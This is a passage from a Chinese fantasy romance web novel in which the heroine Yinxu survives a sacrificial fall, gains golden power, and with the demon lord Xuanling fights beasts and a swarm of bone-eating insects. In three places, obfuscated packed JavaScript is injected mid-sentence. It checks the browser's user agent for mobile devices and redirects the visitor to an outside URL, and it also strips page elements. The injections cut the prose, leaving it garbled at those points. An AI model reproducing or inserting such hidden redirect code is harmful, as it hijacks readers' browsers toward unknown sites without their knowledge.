玄凌的目光落在火渊底部：“没有灵者能从归墟出去。不幸的，在第一次钟声响起时就被黑夜吞噬了魂魄；幸运的，能靠着固魂石撑几天，然后会被指引来到失心渊。” 他顿了顿，继续道：“他们和你一样，到最后才知道真相。有的反抗，被失心兽撕碎；有的认命，主动走进祭图，成为了填补封印的祭品。” 音续浑身发冷，连呼吸都变得困难。她看着玄凌，又看了看下方的渊灵祭图，终于明白这场“灵者骗局”的全貌：六界需要一个牺牲者，而她，恰好是那个被选中的、拥有至纯至善魂魄的人。 “为什么是我？” 音续盯着玄凌的眼睛，忽然觉得指尖的力道松了些。掌心的刺痛还在，可心里那股翻江倒海的慌乱，竟慢慢沉了下去，只剩下一片冷寂的平静，像一汪死水。 她扯了扯嘴角，声音听不出情绪：“为什么是我……好像也不重要了。” 火光映在音续脸上，原本泛红的眼眶已经干了，连眼神都变得轻飘飘的，带着点破罐子破摔的认命。她往岩壁边挪了挪，低头看着下方翻涌的火舌，轻声问：“云诡……他知道这件事吗？” 玄凌挑眉，似乎没料到她会突然问起云诡，顿了顿才说：“不知道。” “也是。”音续点点头，没再追问。她慢慢转过身，朝着火渊底部的祭图走去。每走一步，脚下的岩壁就晃一下，火光在她身后拖出长长的影子，像要被火舌吞噬。 音续脑子里闪过很多画面：凡间小屋的炊烟，阿芝带着酒窝的笑，洞窟里暖乎乎的面汤……这些细碎的温暖，好像能让“牺牲”这件事，变得不那么难熬。 走到岩壁边缘时，音续停住了。 下一秒，她猛地转过身，朝着玄凌扑了过去。音续双手死死抓着他的衣袖，用尽全身力气把他往火渊里拉。 一下，两下，三下…… 拉不动，好尴尬。 玄凌脚下生根般站在原地。音续拽得手臂发酸，也没能将人挪动半步。 玄凌居高临下地看着她，眼神里带着几分戏谑：“想拉我一起？” 音续的力气瞬间泄了。她松开手，尴尬地站在原地，指尖还残留着玄凌衣料的冰凉触感。火风吹起她的头发，遮住了她泛红的耳尖。 “是你自己下去，还是我踹你下去？”玄凌垂眸看她。 音续深吸一口气，突然扑通一声跪倒在地，泪眼汪汪地抱住玄凌的大腿：“求求你了，魔尊大老爷，换一个人行不行……” “我根本不单纯，也不善良。”她掰着手指，一条一条数，像是在说服玄凌，也像是在说服自己。 “我骗阿芝我是咕路顾落族，我还在梦里骂你，刚刚又想把你推下去……我一堆坏心眼，根本不符合至纯至善的要求。” 她抬起头，眼睛里带着点祈求：“而且我只是个凡人，不是仙也不是妖，魂魄哪有那么强的力量？说不定我进去了，不仅补不了封印，还会让漏洞更大……你再找一个吧，好不好？” 玄凌垂眸看着缠在自己腿上的人，墨色衣摆被她抓出褶皱，指尖却连一丝弧度都没有动。 “凡魂至纯，不染仙妖戾气，才是祭图最需要的引子。你说的坏心眼，不过是凡人的小算计，碍不着魂魄的干净。” “可我不想死啊……”音续仰着头大哭。 “我姐姐还在等我回家，阿芝他们还在洞窟里等着挖固魂石……”她的声音越来越小，带着哭腔的哀求在轰隆隆的火渊声里，显得格外微弱。 玄凌终于弯了弯指尖，却不是扶她起来，而是轻轻捏住她的后颈，颇有一种要把人提起来往下丢的架势。 话音刚落，火渊深处突然传来一阵刺耳的嘶鸣，那不是失心兽之前的打斗声，而是带着极致狂乱的嘶吼，像有什么东西冲破了束缚。 音续猛地抬头，只见原本退到火渊深处的失心兽突然集体转向，青灰色的皮肤泛起诡异的血红光晕，蝙蝠般的翅膀扇动得越来越快，卷起的风裹着火星，竟将周围的黑雾都搅成了漩涡。 它们不再互相撕咬，而是齐齐盯着岩壁上的玄凌与音续，爪子上的血痕泛着暗沉的黑光，像是被什么力量操控着，朝着二人直扑而来。 玄凌掌心凝聚起冷银色的戾气，刚要挥出，却见一只失心兽突然绕到侧面，翅膀狠狠甩向音续。它的利爪擦过音续的后背，虽没划破皮肉，却带起一股巨力，将她脖子间的银链猛地扯飞。 那银链是音续很小的时候，姐姐为她打制的，链上串着枚月牙吊坠，背面刻着小小的“安”字，是音续唯一的念想。她看着银链在空中划过一道银光，坠向岩壁边缘的碎石堆，瞳孔骤缩：“我的项链！” 顾不上身后扑来的兽群，音续踉跄着扑向崖边，指尖刚要碰到吊坠，另一只失心兽突然从斜后方袭来。 它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215622|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的翅膀像铁扇般砸在音续的后背，一股远超之前的巨力将她往前推去。音续只觉得脚下一空，整个人从岩壁上翻了下去，朝着火渊底部的渊灵祭图直直坠落。 风在耳边呼啸，火光在眼前疯狂放大。她能看清祭图上断裂的金色纹路，黑雾正从纹路的缝隙里源源不断地涌出，像无数只黑手要将她拖入深渊。音续闭上眼，心想：这下真的要死了。 可预想中的剧痛没有传来。 当后背撞上祭图的刹那，一股温暖的金色能量突然顺着她的脊椎涌入体内，像寒冬里的暖流，瞬间驱散了火渊的灼热与戾气。 音续清晰地感觉到，祭图上覆盖的暗纹在接触到她的瞬间亮起，金色光芒顺着她的指尖、脚踝蔓延，原本黯淡龟裂的纹路重新变得璀璨。 体内的血液仿佛在燃烧，四肢百骸都充满了前所未有的力量，连之前被失心兽撞击的后背都不再酸痛。 音续猛地睁开眼，眼底闪过一道金色光刃，她下意识抬手一挥，一道半丈长的金色能量刃从掌心飞出，直劈向正扑向她的几只失心兽。 “这是我能甩出的力量吗！”音续瞪大眼睛，难以置信地盯着自己正在冒金光的手心。 “滋啦——”光刃划过兽群，青灰色的兽皮像纸一样被撕裂，几只失心兽连惨叫都没发出，就被劈成两半，尸体坠入火渊底部的岩浆里，溅起冲天的火星。 剩下的失心兽彻底慌了，眼中的凶光被恐惧取代，转身就要往火渊深处逃。 音续脚尖点在祭图边缘，身形竟如仙族般轻盈地飘起，掌心凝聚起一团金色光球。她抬手将光球掷出，光球在兽群后方炸开，金色冲击波瞬间将最后几只失心兽震飞，有的撞在岩壁上摔成肉泥，有的直接坠入岩浆，连一丝痕迹都没留下。 “太酷了！”音续在半空大吼一声：“爽！” 火渊里的嘶吼声消失了，只剩下岩浆咕嘟冒泡的声响，还有金色光芒在祭图上流转的微光。音续还没从突如其来的力量里回过神，身下的祭图突然剧烈震动起来。 “不好！”玄凌的声音从上方传来。 音续低头一看，只见祭图上的金色纹路开始以肉眼可见的速度龟裂，原本被压制的黑雾疯狂涌出，像黑色的潮水般淹没了祭图的边缘。 失心渊底部传来轰隆隆的巨响，岩壁上残存的封印纹路彻底断裂，无数碎石从崖壁上滚落，砸进岩浆里激起漫天火花。 更可怕的是，一股黑色的渊灵气息从渊底冲天而起，像一根巨大的黑柱，直接捅破了失心渊的洞口，染红了归墟的绛紫色天幕。周围的空间都在扭曲，火渊里的岩浆开始喷发，巨大的火柱窜起数十丈高，火星溅到岩壁上，燃起熊熊大火，整个失心渊仿佛要崩塌一般。 “这这这这这是什么情况！”音续在半空中后退两步：“封封封封封封印接触了？”音续慌慌张张地看了眼自己的手心，下意识往祭图上躺，可不管她怎么调整姿势，甚至要把自己摁进祭图中，金色能量都没不再涌入。 色能量都不再涌入，祭图的纹路反而越来越暗，黑雾已经缠上了她的脚踝，带着刺骨的寒意。 “没用的。”玄凌俯冲而下，墨色衣摆在风中猎猎作响。他落在祭图边缘，指尖飞快结印。银色光纹从他掌心飞出，像一张巨网般罩在祭图上方，形成一个半透明的光罩，暂时挡住了暴走的渊灵气息。 可这光罩并不稳固，黑雾在外面疯狂撞击。音续看着光罩外翻涌的黑雾，心脏像被攥紧。 就在这时，低沉悠远的钟声突然从归墟荒原传来。比之前任何一次都要响亮，带着一股摄人心魄的力量，仿佛从六界的尽头传来，震得整个失心渊都在微微颤抖。 钟声来得突然，荒原中正在挖掘固魂石的罪仙并没有反应过来。 音续抬头望去，只见归墟的绛紫色天幕开始以肉眼可见的速度变黑，黑夜像潮水般从远方席卷而来，所过之处，连星光都被吞噬。那黑夜没有往失心渊来，反而朝着洞窟的方向蔓延，像一只无形的巨手，要将那处唯一的庇护所攥在掌心。 远处的归墟荒原上，几个罪仙正抱着刚挖到的固魂石奔跑。黑夜席卷而来，他们的身体突然僵住，魂魄像被无形的丝线扯出，从头顶飘起，化作一道道白色的光带，朝着失心渊的方向飞来。 那些光带穿过玄凌的临时封印，在光罩里挣扎、扭曲，最后变成金色的光点，融进光罩中。 音续甚至能看清其中一道飞来的光带里，映着阿芝母亲温和的脸。 “不要！” 16. 归墟夜冷难安榻，断栅墙前惹客愁^…… 音续惊呼出声，指尖甩出一道金光。那金光化成的利刃横亘在光罩外，死死挡住正往里飞的光带。下一秒，光罩周身的灵力骤然暴涨，利剑瞬间碎裂，音续被震得踉跄后退。 “求求你。”音续不顾灵力反噬，上前一步死死拽住玄凌的衣摆：“求你别杀她。” 玄凌垂眸不语，指尖凝聚的银色戾气没有半分停顿。眼见着那映着阿芝母亲面容的光带就要被彻底扯进光罩，音续心一横，大吼出声：“她能修补封印！” “你……你留下她，比让她化作光带有用千百倍。”音续不敢抬头看玄凌，只死死抓住他的衣摆不放。 玄凌的动作骤然停住。他挑了挑眉，收回灵力，任由那道光带在罩外虚弱地飘荡，语气带着几分玩味：“一个罪仙，也能修补封印？” “她不是普通罪仙！”音续脑子一热，语速飞快：“她会挖固魂石。” “这里所有的罪仙都会挖固魂石。”玄凌说。 音续心口一紧，紧接着又道：“可她……她能找到最纯净的固魂石。” “当下渊灵封印不稳，很多情况我们无法预料，需要归墟中熟知规则的罪仙的帮助。” “而且你也看到了，刚才那些失心兽突然攻击我们，这其中很多事情都不对劲。” “虽然你法力高强……”音续偷偷瞄了一眼玄凌：“强……强威盖世、世间无双、双辉映神、神通广大、大有作为，为……为非作歹？” 音续及时止住声音：“总之，多留一个人，总是没错的。” 眼见玄凌真有几分动摇，音续赶忙补充：“阿芝说过，别的罪仙挖出的石头杂质太多，撑不了多久，可她母亲找的石头品质却极佳，能让最低等的仙都稳固心神，不被黑夜抓走。” 玄凌挑眉，眼神依旧不以为意。 音续这下真没办法了，她大脑宕机，实在想不出来什么别的理由，只好站在原地拼命吸气。 “可是她母亲做得面汤特别好喝。”音续也不知道哪来的胆子，突然握住玄凌的手，捏着他指尖在空中挥了两下。 紧接着，那光带似是受到了指引，在光罩外茫然转了两圈后，慢慢落到地上，很快化作一道人形。 音续抻着脖子，见阿芝母亲虽紧闭双眼，但依然在匀称的呼吸，不禁松下一口气。指尖传来一阵不自然的冷意，音续低下头，才发现自己还握着玄凌的手指。 他的手指细长、匀称，指尖泛着淡淡的粉色，很漂亮。意识到自己刚刚做了什么的音续呆在原地怔了两秒，随后猛地松开手，后退两步不敢看玄凌的眼睛。 “对不起。”她很老实地低下头，盯着自己的脚尖看。 失心渊深处轰鸣声暴起，层层叠叠地回荡在灼热的空气中，音续被烧得脸颊滚烫，她艰难地抬手，擦了擦顺着脸颊淌下的汗珠，余光瞥见如同流光般的火团轰然坠落，在不远处焦黑的土地上溅起一片刺目的火星。 空气因高温而扭曲，弥漫着浓重的焦糊味。音续屏住呼吸，几乎能听到自己心脏疯狂擂动的声音。方才大胆握住玄凌指尖的触感还残留着，那一点冰冷、与周遭格格不入的触感，此刻像是烧红的烙铁，烫得她无所适从。 音续不敢抬头，却能清晰感受到玄凌的目光落在她发顶，带着一种沉沉的、审度般的重量，与周遭的热浪混在一起，让她一阵眩晕。 两人之间的沉默漫长得像是要把这失心渊的灼热都熬成冰。不知过了多久，音续觉得自己的膝盖就要撑不住发麻的双腿，她抬起头，张了张嘴巴，却只听见玄凌没什么起伏的声音。 “自己带着她，跟上。” 音续猛地抬起头，连声应道：“好的好的！” 她快步跑到阿芝母亲身边，蹲下身想将人扶起。手臂还在隐隐发酸，阿芝母亲虽身形纤瘦，失去意识后却像没了骨头，音续费了九牛二虎之力，才勉强将人架起来。 她一只手揽着对方的腰，另一只手死死托住胳膊，几乎是半扛半拽，脚步踉跄地跟在玄凌身后。 玄凌走得不快，墨色衣摆在风中轻轻晃动，却没回头看她一眼。归墟的风裹着土腥味，吹得音续额前的碎发乱飞，她一边要稳住肩上的人，一边要留意脚下凹凸不平的碎石，好几次差点被绊倒。 直到进入狭窄的洞窟通道时，音续才松了口气，腿一软差点跪倒在地。玄凌率先进去，走到尽头，洞内的火光瞬间涌出来，映得他的侧脸明暗交错，竟少了几分平日里的冷硬。 音续看着他娴熟的动作，忍不住撇撇嘴，她拖着阿芝母亲，喘着气跟进去。 刚跌跌撞撞地把人背进洞窟，就听到一阵急促的脚步声。阿芝慌慌张张地从里间跑出来，看到门口的两人，还有地上昏迷的母亲，手里的铁锹“当”一声撞在石壁上，汤水洒了大半。 “音续？这……这是怎么回事？我娘她怎么了？” 音续狠狠喘了几口粗气：“没……没事……就是……暂时昏迷了……”，她一屁股坐在地上，抬起一只软塌塌的手：“……水……水……” 阿芝赶忙拿陶碗给她舀了水递到嘴边，音续就着这个姿势咕咚咕咚灌了几口水，这才感觉好受了些。 “我正要出去找你们呢。”阿芝把摊在地上的音续扶起来，又跑到母亲身边蹲下，伸手探了探鼻息。确认气息平稳后，才松了口气。 “刚才钟声响得突然，你们都不在屋子里，我都快急死了。” 音续抹了把额头上的汗，余光瞥见站在一旁的玄凌，赶忙按事先想好的说辞解释：“他叫玄凌，是我的族人，之前在归墟走散了，今天刚好遇上，就一起过来了。” 玄凌靠在洞窟的石壁上，双手抱在胸前，眼皮都没抬一下，像是默认了这个说法。他周身散发的冷意让洞窟里的温度都降了几分，阿芝虽觉得这族人看着不太好亲近，却也没多问。 “你们没事就好，快坐吧，我烧水给你们煮完面汤，暖暖身子。” 黑夜过后，归墟总是格外冷，音续打了个寒颤，一口答应下来。 阿芝转身跑到洞窟深处的小土灶旁忙活起来。那土灶是用几块石头垒起来的，上面架着一口黑黢黢的陶锅，锅里的水已经烧开，冒着袅袅白气。 阿芝熟练地从竹筐里拿出晒干的面块，掰成几段丢进锅里，又从陶罐里舀出一勺油，撒上一把不知名的野菜碎，瞬间，浓郁的香气就弥漫开来。 音续看着她低头添柴的侧影，火光在她脸上跳动，恍惚间竟和记忆里阿姐的模样重叠起来。 以前在家时，阿姐也是这样守着小灶台。那时候她们还在凡间的小木屋，冬天冷得紧，阿姐总爱煮一锅热面汤，木柴噼啪作响，锅里的面香混着葱花味，能飘满整个院子。阿姐会把第一碗盛给她，笑着说“快吃吧，喝完面汤，暖到心里去”，语气比灶膛里的火还要暖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261090|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “面好啦！”阿芝的声音传来，音续收回神，见她端着两个粗陶碗走过来。 音续找了块平整的石头坐下，玄凌则选了个离火最远的角落坐着，撑着脑袋不知在想什么。两碗面汤，一碗递给音续，另一碗放在玄凌面前的石头上。 热气氤氲中，熟悉的香气钻进鼻子，带着种朴素又扎实的暖意，没有仙宫膳食的精致，却透着凡间独有的烟火气。让她想起了很久很久以前，不用担惊受怕的那些日子。 吃完面收了碗筷，阿芝给母亲盖了件破旧兽皮，才转过身对两人说：“里面隔了两个小房间，你们今晚就先住那儿吧，虽然简陋了点，但能挡挡风。”她说着，指了指洞窟深处的两个隔间，隔间用粗木栅栏挡着，里面各铺了一层厚厚的干草，算是勉强能住人的地方。 音续谢过阿芝，跟着玄凌走到隔间前。玄凌随意选了左边的那个，推门进去后就关上了栅栏门，留下音续站在右边的隔间前，愣了愣才推门进去。 隔间不大，刚好能躺下一个人，干草带着淡淡的霉味，却比外面暖和不少。音续躺在干草上，却毫无睡意，脑子里反复回放着今天在失心渊的一切。 她忍不住摊开手掌，看见掌心泛着一层淡淡的金光，虽不如在失心渊时那般耀眼，却稳稳萦绕着，没有丝毫消散的迹象。 音续心里痒痒的，她坐起身深吸一口气，按照在失心渊时的感觉，试着将灵力凝聚在指尖。 起初，金光只是微弱地闪烁，可不知怎的，金光在一瞬间突然暴涨，失控地在窄小的屋子里乱窜，最终“砰”的一声撞在隔间的木栅栏上。 只听“咔嚓”一声，栅栏应声断裂，紧接着，身后的土墙也被金光震得塌了一角，尘土飞扬，碎石簌簌往下掉。 音续吓得僵在原地，看着眼前的狼藉，和匆匆赶来的阿芝大眼瞪小眼。 阿芝看着断成两截的栅栏和塌了的土墙，脸上满是无奈：“这可怎么办，这里彻底没法住人了……” 阿芝绕着塌了一角的土墙转了两圈，忽然眼睛一亮，看向音续：“要不……你跟你那族人挤一间吧？左边那隔间还宽敞些，两个人凑活凑活没问题，总比在这儿吹冷风强。” 音续闻言猛地摆手：“不行不行！”她连连后退两步：“我那族人脾气怪得很！最讨厌和别人共处一室了……” “这哪行？”阿芝指着漏风的土墙，“归墟的风跟刀子似的，你还不适应这里的气温变化，吹一晚要冻出毛病的。你那族人看着冷淡，应该不是小气人，你去说说，他会同意的。” 音续被阿芝推着往前走，脚像灌了铅似的，磨磨蹭蹭到了玄凌的隔间外。她攥紧衣角，深吸三口气，才抬起手，轻轻敲了敲木栅栏门：“玄……玄凌？” 隔间里没应声，音续硬着头皮又敲了两下。 栅栏门“吱呀”一声被拉开，玄凌站在门后，墨色衣摆垂落，神色冷淡地看着她：“说。” 音续对上他的目光，瞬间忘了准备好的话，结巴道：“我……我的隔间塌了……”音续突然没勇气继续说下去了，她咽了口唾沫，低下头狼狈地看着自己的鞋尖。 不敢想象玄凌此刻的脸有多臭。 空气静了片刻，忽然“砰”的一声响，栅栏门被关上了。 很意内的反应，音续和站在门外的阿芝面面相觑。半晌后，音续试探着开口：“要不，咱俩挤一挤？” 17. 归墟寒夜虫潮至，魔焰焚天破虫围^…… 阿芝看着音续窘迫的模样，无奈地叹了口气，伸手拍了拍她的肩膀：“我们这些在归墟待久了的人，早就没了睡觉的习惯。平日里都是靠固魂石撑着心神。” 她顿了顿，继续道：“这个时候，石窟里的人要么守着灶台添柴，要么去洞窟外拾捡碎石，熬到天不那么冷的时候就好了。” “可你不一样，你刚到归墟，身子还没适应这里的寒气，真要在漏风的土墙边坐一夜，明天准保浑身僵硬。” 音续指尖无意识地抠着衣角。她知道阿芝说得在理，归墟的风已经透过破损的土墙吹进来，刮在脸上像细针扎似的，可一想到玄凌冷得像冰的脸色，她就打怵，心里那点委屈和不服气顿时涌了上来。 阿芝叹了口气，将身上披着的兽皮大氅铺在地上，又往灶台里添了两块柴火：“你现在这坐一会吧，说不定你那同乡……”她回头望了望那隔间，朝音续耸耸肩，没再说下去。 隔间内，玄凌的心情早已糟糕到了极点。 失心渊的封印突然松动，那道裂痕比他预想的还要大，若不及时修补，用不了多久，渊灵就会冲破封印，到时候不仅是归墟，整个六界都会陷入混乱。 更让他烦躁的是，原本计划着利用音续灵者的力量加固封印，却不想封印不但没成，力量反倒被音续吸了个一干二净。这下不仅要补失心渊的大窟窿，还要时时刻刻盯着这个身上带着祭图能量的家伙。 封印是稳住归墟的关键，一旦音续出了意外，那股能量消散，后果不堪设想。所以即便玄凌看音续处处不顺眼，恨不得一脚把她踹下失心渊，也只能暂时忍着，不敢让她有半分闪失。 想到这，玄凌心沉了沉，两步上前推开栅栏门。 几乎是在栅栏门“吱呀”一声被推开的瞬间，音续的头迅速转了过来。两人四目相对，玄凌依旧是那副冷冰冰的表情。 音续看着他的脸，越看越觉得阴险可恶，一时怒上心头，还没等玄凌开口，便硬气道：“我本来也没打算麻烦你，只是随便问问。你要是不乐意，我大不了在灶台边坐一夜，冻着了也不用你管！” 玄凌本就因封印松动、计划被打乱而有些心烦意乱，见此刻音续竟敢跟自己赌气，那点不耐瞬间被点燃了。他看着眼前这个明明怕得要命，却硬撑着摆出强硬姿态的人类，眼神冷得像淬了冰：“你以为我想让你进来？” 音续被他看得心头一紧，却还是梗着脖子反驳：“那你就别开门啊！谁稀罕进你的隔间，一股子冷气，比外面还冻人！” 说完这话，她突然想起，自己已经不再是没有法力的凡人了，便示威性地抬起手掌朝玄凌一挥，扭头不再看他。 要不是看在阿芝的面子上，音续恨不得把玄凌的隔间也一掌拍个稀巴烂。 空气凝滞了一瞬，音续听见身后传来玄凌压低的声音。 “进来。” 音续拖着身下的兽皮朝前挪了挪，故意在地上摩擦出响亮的声音。 “别让我说第二次。” 音续很用力地耸了下肩，没理他。 身后没了声音，就当音续以为玄凌已经离开，准备回头偷偷看时。一股无形的力量突然缠住她的手腕，不等她反应过来，便被猛地拽进隔间。 音续只觉得手腕一紧，整个人不受控制地撞在一堵墙上，她踉跄着想要站稳，却被“墙”伸出来的手死死钳住，动弹不得。 “安分点待着。”玄凌扫了她一眼：“再吵，就把你扔出洞窟喂失心兽。” 他话语里的威胁毫不掩饰，音续缩了缩脖子，瘪瘪嘴，默默走到隔间的最角落，挨着土墙坐下。 她双手紧紧抱着膝盖，将脸埋了进去。 隔间里陷入沉默，只有两人的呼吸声在空气中交织。音续埋着脸，心里又委屈又害怕，可想着玄凌刚才的威胁，只能强忍着不敢哭出来。 起初，她还在心里盘算着怎么才能不惹玄凌生气，可连日来的奔波和刚才在失心渊耗费的心神，让疲惫感如潮水般涌来。她的眼皮越来越沉，不知不觉间，靠着土墙歪头睡了过去。 睡梦中，音续似乎又回到了凡间的小木屋，阿姐正端着一碗热气腾腾的面汤走过来。梦见阿姐似乎让她格外安心，连呼吸也变得均匀起来。 玄凌听到身后的动静，回头看了一眼。只见音续蜷缩在角落里，眉头舒展，像是做着很安稳的梦，刚才那点倔强气性，在睡梦中消散得无影无踪，只剩一副柔软又毫无防备的模样，看上去脆弱又可怜。 玄凌垂眸，心里不明的情绪又多了几分，却也没再打扰她。 隔间内的时间仿佛凝滞，只有两人轻浅的呼吸声和远处洞窟传来的劳作声。 玄凌凝视着音续，她睡着时掌心的光纹正在不受控制地流动，那属于失心渊，本应该用来加固封印的力量，此刻正温顺的萦绕在一个凡人的魂魄里。 这很反常。 玄凌指尖微动，一缕极细的黑色魔息如丝线般探出，慢慢靠近音续手腕。祭图的一大部分能量源于玄凌，所以音续掌心的金光并不排斥他。两缕气息缠缠绵绵地萦绕在一起，玄凌感受到一股温暖的热流正顺着魔息探入指尖。 一切能制衡渊灵的力量都有一个共同特征——喜欢至纯至善的灵魂。所以归墟内才需要源源不断地注入新的魂魄，即使能被祭图吸收的能量称得上是寥寥无几。 玄凌蹙了蹙眉。 几乎在同一时间，洞窟深处传来一声极为细微，却尖锐无比的“咔嚓”声。 玄凌神色一凛，瞬间来到音续身边，一把捂住了她的嘴，另一只手轻轻拍了拍她的脸颊，声音压得极低：“醒醒。” 音续从美梦中被强行拽醒，惊恐地睁大眼睛，刚要挣扎，却对上玄凌近在咫尺的眼神。他捂住她嘴的手并未用力，但那股不容置疑的压迫感让她瞬间清醒。 “别出声，听。”玄凌用气声说，松开了手。 音续屏息凝神，侧耳倾听。 洞窟内似乎一切如常，阿芝在不远处轻声哼歌添柴，其他罪仙的呼吸声均匀而疲惫。 但渐渐地，一种极不协调、细微的“嘶嘶”声，传来，像是有无数细小的爪子在刮挠石壁。声音从四面八方渗进来，越来越清晰。 音续汗毛倒竖，下意识往玄凌身边靠了靠，用眼神询问他。 玄凌眉头紧锁，目光扫过隔间的每一寸石壁。他的感知远超常人，能清晰地察觉到一股阴冷、粘稠、充满恶意的气息正从洞窟的岩层深处弥漫开来，速度极快！ “是蚀骨虫。”玄凌声音很冷：“它们被祭图的力量，和你刚刚爆发的能量吸引过来的。” “蚀骨虫？”音续光是听名字就觉得头皮发麻。 “归墟地底的一种魔物，群居，嗜食能量和血肉，所过之处，枯骨无存。”玄凌言简意赅地解释，同时单手放出一道波纹，银色光罩将两人笼罩起来，隔绝了气息。 “它们喜欢你身上的能量，但通常不会靠近有固魂石光芒的洞窟，更不敢靠近失心渊底的祭图……” “那为什么现在来了！”音续声音都在打颤。 玄凌没说话，只是挑了挑眉，意味深长地盯着她看。答案不言而喻。 音续：“。” “那……阿芝她们……”危急关头，音续也顾不上和他计较，忙问。 “都自身难保了，还想着救别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296641|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”玄凌瞥了她一眼：“她们对你来说很重要吗？” 音续沉默下来，她也不知道阿芝对她来说，到底意味着什么。不过是萍水相逢，对方给了她一碗热汤、一件暖衣，在这冰冷的归墟中给了她片刻的善意。 她没有能力去救，也不好意思麻烦玄凌。但如果眼睁睁看着阿芝母女葬身虫腹，心里像是被什么东西堵着，喘不过气。 “来不及一个个救了。”玄凌率先打破沉默：“洞窟很快会被它们彻底钻透。” 仿佛是为了印证他的话，“轰隆”一声闷响，隔间另一侧的土墙突然塌陷了一块，无数只指甲盖大小、通体漆黑的虫子如潮水般涌了出来，它们发出令人牙酸的“嘶嘶”声，密密麻麻爬满了地面，看得音续差点蹦起来。 她下意识抬手挥出金光—— “蠢死了！”玄凌低喝一声，一把拽住音续的手腕：“你要把整个洞窟炸塌吗？” 在狭窄空间内使用那种不稳定且威力巨大的能量，无异于自杀。何况使用者还是音续。 话音未落，玄凌袖袍一挥，黑色魔焰如扇形扫出，带着焚尽一切的气势，瞬间将正在往银色光罩上爬的虫群烧成灰烬，空气中弥漫开一股烧糊的恶臭，但更多的虫子前仆后继，从四面八方涌来，如同无穷无尽的黑色洪流，转眼便淹没了半个洞窟。 “跟紧我。”玄凌冷声道。 音续感觉四周魔气暴涨，她看见玄凌的墨发无风自动。下一秒，一股强大的威压自身前涌向四周，凡是靠近两人三尺之内的蚀骨虫瞬间被碾成齑粉。 然而，虫子的数量实在太多了，它们不仅在地底钻出，甚至从头顶的岩缝中如瀑布般坠落，砸在地上发出“噼啪”的声响。音续在一片混乱中她焦急地寻找阿芝，终于在灶台旁看见了她。 阿芝披着一块兽皮，身后背着母亲，蜷缩在角落里一动不敢动。看见玄凌和音续，她眼前一亮，近乎哀求道：“求求你们，救救我娘！” 音续一只手已经伸出光罩，却还是回头看了看玄凌。玄凌没有说话，只用余光扫了她一眼，很快便收回视线。音续咬咬牙向外迈出一步，拽住阿芝的手，将她们母女二人拉进光罩中。 但就是这一瞬间的分身，一只漏网之虫从上方的石壁落下，音续只觉得小腿一凉，低头一看，几只漆黑的虫子正吸附在她的裤腿上，尖锐的口器刺破布料，扎进肌肤中。 “啊！”冰冷黏腻的触感和被啃噬的刺痛让音续失声惊叫，下意识想用手去拍打。 “别动！”玄凌喝道，一道细微的魔气精准地掠过她的腿，将那几只蚀骨虫剔除，但裤脚已经被腐蚀出几个小洞，雪白的肌肤上留下了几点焦黑的痕迹，渗出血珠。 “麻烦。”玄凌不耐地啧了一声。他原本的计划是带着音续这个“能量源”直接离开。但现在…… 他看了一眼身边吓得脸色惨白、腿脚受伤却死死咬着嘴唇不敢再添乱音续，又听到外面那些绝望的呼喊。 玄凌猛地将音续往自己身边一带，沉声道：“拉住我。” “什么？”音续一愣。 “不想死就照做！”玄凌的语气不容置疑。 音续也顾不得那么多，她立刻伸出手，本想拉住玄凌的衣摆，可由于太过紧张和害怕，她紧紧抱住了玄凌的腰，将脸埋在他冰冷的衣襟里。 玄凌单手结了一个复杂无比的印诀，周身光芒大盛，磅礴的魔气不再收敛，如同风暴般以他为中心轰然爆发！ “轰——” 整个洞窟剧烈震动，所有侵入洞窟的蚀骨虫在火光中瞬间化为飞灰！甚至连脆弱的石窟都在这一击之下发出不堪重负的呻吟，碎石簌簌落下。